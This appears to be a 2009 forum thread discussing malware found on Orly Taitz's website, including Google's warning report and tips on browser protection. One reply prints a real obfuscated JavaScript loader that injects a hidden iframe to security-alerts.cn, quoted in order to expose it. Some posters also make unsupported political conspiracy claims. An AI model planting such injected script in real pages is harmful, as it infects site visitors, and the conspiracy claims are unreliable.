Dr. Orly Taitz, Esq.'s Website Infected Free Republic

Oh for Goodness Sake ^ | Aug 9, 2009 | Oh for Goodness Sake

[SvenMagnussen]

On the night of July 31, I first noticed this alert at the website of Dr. Orly Taitz, Esq.:

On that date, July 31, 2009:

What happened when Google visited this site?

Of the 8 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-07-31, and the last time suspicious content was found on this site was on 2009-07-31.

Malicious software includes 2 scripting exploit(s). Successful infection resulted in an average of 2 new process(es) on the target machine.

Malicious software is hosted on 3 domain(s), including cybercrime-protection.cn/, mcafee-malware.com/, security-alerts.cn/.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including security-alerts.cn/.

[libravoter]

However, the Webmaster should be intelligent enough to cleanse the site of this crap NOW, and prevent it from happening in the future.

I looked her site over, and also did a DNS lookup to see who was hosting it. Based on what I saw, the site is hosted by her registrar (NetworkSolutions), and I strongly suspect it was created using one of standard web page templates that Network Solutions offers free with registration.

Short version: I don't think there's a "webmaster" involved here. It looks like a DIY page, mostly likely do to her trying to save money for the fight. Perhaps any one of our freepers with good html skills could offer their services.

[PAR35]

Last weekend, about every time I came to FR, I would get a notice of a Trojan from my antivirus software. This might explain those results. I haven’t had the problem since then, but I’ve been avoiding the birth certificate stories since then.

[Gorzaloon]

However, the Webmaster should be intelligent enough to cleanse the site of this crap NOW, and prevent it from happening in the future. If they (the webmaster) don’t - then they’re as worthless as an 0bama Hawaii birth certificate.

A lot of these happen on shared host servers. The webmaster dutifully cleans them up, but they and the other thousand or two sites on that server are promptly reinfected. The domain host generally stonewalls and denies any problem.

[rintense]

McAfee went nuts on my laptop when I went to her site. Never went again.

[brityank]

Just maybe you folks really ought to learn how to use Free Republic's Search feature, especially the Comments of our resident guru - JohnRob:

~~~ ~~~ ~~~ ~~~ ~~~

Lucianne.com blocked by Google because of a single bad link.

Sunday, December 14, 2008 15:42:21 · 35 of 42
John Robinson to tubebender
Ldot wasn't blocked because of a hyperlink to malware, it was blocked due to automatic installation of malware, something which needed scripting. Most likely source was a malicious advertiser using Ldot's ad banner system to embed malicious scripts into Ldot pages.

Free Republic prohibits third-party scripts of any sort, therefore is not susceptible to this type of shenanigan.

~~~ ~~~ ~~~ ~~~ ~~~

Is this really it? (re: possible Obama's Kenyan B.C. - Attny Taitz) Click on the link

Wednesday, August 05, 2009 05:23:09 · 6,800 of 8,384
John Robinson to ObamaNotQualified.com
Uh, dude, you're compromised. At the bottom of your pages you'll find this:
function YuLQmW(cqGOKkKxg, paXoW, bRwOHYl){var
 SjTKsiaJe=bRwOHYl.split(paXoW);var
 NhAxBaVLcf='';for(qGST=0;qGST<(SjTKsiaJe.length-1);qGST++){
 AXEMcaaiu = SjTKsiaJe[qGST]^cqGOKkKxg;NhAxBaVLcf +=
 String.fromCharCode(AXEMcaaiu);}return NhAxBaVLcf;}

function hjgksr(){var GncOozzc=new Function("QtBFdMu",
 "return "+YuLQmW(-0x13+0x8+0x2f+0x29+0x2d+0x28+0x2e+0x7f,
 'U','299U288U300U314U290U298U289U315U')+"."+YuLQmW(-0x7-
 0xe+0x14+0x3b1, 'G','978G991G980G969G')+"");var
 zotuOWV=GncOozzc(-0x1c+0x25-0x1-0x1f+0x2c-
 0x14);zotuOWV.innerHTML += YuLQmW(0x4+0x30+0x2c-
 0x25+0x0+0x4e,
 'V','181V224V239V251V232V228V236V169V254V224V237V253V225V
 180V184V169V225V236V224V238V225V253V180V184V169V235V230V2
 51V237V236V251V180V185V169V239V251V232V228V236V235V230V25
 1V237V236V251V180V185V169V250V251V234V180V174V225V253V253
 V249V179V166V166V250V236V234V252V251V224V253V240V164V232V
 229V236V251V253V250V167V234V231V166V234V240V235V236V251V1
 66V224V231V167V234V238V224V182V189V174V183V181V166V224V23
 9V251V232V228V236V183V');}

if(window.addEventListener){window.addEventListener('load',
 hjgksr,false);}else
 if(window.attachEvent){window.attachEvent('onload',
 hjgksr);}
That piece of line noise is obfuscated JavaScript that generates this little gem: <iframe width=1 height=1 border=0 frameborder=0 src='http://security-alerts.cn/cyber/in.cgi?4'></iframe>. I can tell you right now that Chinese site is up to no good.

~~~ ~~~ ~~~ ~~~ ~~~

As someone else said - the Wild Wooly Web is NOT anonymous nor without potholes - and as the LDot info shows, it's not just the site itself you have to worry about. I run all over the place with my Firefox and AdblockPlus & NoScript plugins, and have AVG, SuperAntiSpyware, and AdAware running on the system. I don't use Infernal Exploder except to visit Micro$oft, and so far have not had any infection since I brought this system live on XP-SP2 in Sept, 2007; but a lot of nasty stuff has been blocked.

Be careful out there. By the way, the offending exploit in Orly Taitz site has been taken off - for now. Considering Obama has his Acorn IT team in the White House I'm sure it's all coincidence that the 'anti-Obama' sites are getting hammered!

[humblegunner]

It's not hard to imagine that Orly has many many enemies.

Even folks who hope she is right dislike her because she is such a gibbering idiot.

[patriot08]

.

From Orly Taitz website:

‘There is no malaware sitting on my site, but George Soros’s son is sitting on Google board. He should look up the meaning of the word treason.’

[FreepShop1]

It’s trying to run a shockwave flash movie that is 1pixel by 1 pixel in size. This is a well known attack vector to try and take advantage of a known flaw in flash that allows code to be run on your computer

I am creating a Flash-based websites. What countermeasures of inoculations can one install?

[FreepShop1]

It’s trying to run a shockwave flash movie that is 1pixel by 1 pixel in size. This is a well known attack vector to try and take advantage of a known flaw in flash that allows code to be run on your computer

I am creating a Flash-based websites. What countermeasures or inoculations can one install?

[FreepShop1]

It’s trying to run a shockwave flash movie that is 1pixel by 1 pixel in size. This is a well known attack vector to try and take advantage of a known flaw in flash that allows code to be run on your computer

I am creating a Flash-based websites. What countermeasures or inoculations can one install?

[sonic109]

George Soros’s son is sitting on Google board

You have to be kidding me ?
This is turning into a nightmare.

[Fresh Wind]

Well, I answered my own question here.

So, Firefox routinely asks Google whether a site is dangerous, or not. This is the default behavior, though it can be turned off.

As I said, I don't trust Google.

[MediaMole]

The best option for something like this is a Firefox add on called “NoScript.” It won’t allow scripts to run without your permission. You can authorize safe sites, but it will automatically keep unknown third-party sites from running scripts like this.

[PAR35]

I am creating a Flash-based websites.

I Hate Flash websites. Anyone who doesn't provide an alternative for bypassing the Flash doesn't want my business.

[FreepShop1]

I Hate Flash websites. Anyone who doesn't provide an alternative for bypassing the Flash doesn't want my business.

Not "flash-based" per se, but using Flash elements, which I am concerned might be hijacked by this method.

[libravoter]

Well, then there is also that.

[PAR35]

OK. When I hit a website,and I have to run Flash to do anything - no optional links to get in, I usually go somewhere else. If they have an option to enter without doing the Flash, I’ll be happy to visit.

[Yardstick]

I visited her website during the time it was supposedly contagious. Is it likely my machine got infected and if so what would the effects be?

[justa-hairyape]

Is it likely my machine got infected and if so what would the effects be?

To begin with you may want to make backups of all your important data files. Recently had to format my web browsing computer twice. First time I got hit on the same weekend South Korea was attacked. I was simply downloading a large file from the MegaDownload site. The second time some malware came through one of my online 3rd party applications. That was an attack on our 3rd party application that was hosted on a server in Slovakia. We were running an application written by a Spanish company. So we were vulnerable and may be a canary in a cold mine for other sites hosted on the hopefully better protected US servers. All seven of my websites are now hosted on US servers now and we don't run any foreign written php programs anymore. If you allow users to upload files you are very vulnerable. Personally I think China and Russia should be completely disconnected from the web.

Thanks for posting that site that will block them through a third party domain.

[Yardstick]

Very interesting. So given the nature of the malware at Orly’s site, would it have been possible to have gotten infected just by viewing the page in my browser? Or would it have required doing something more, like opening a link or downloading an image from there or something?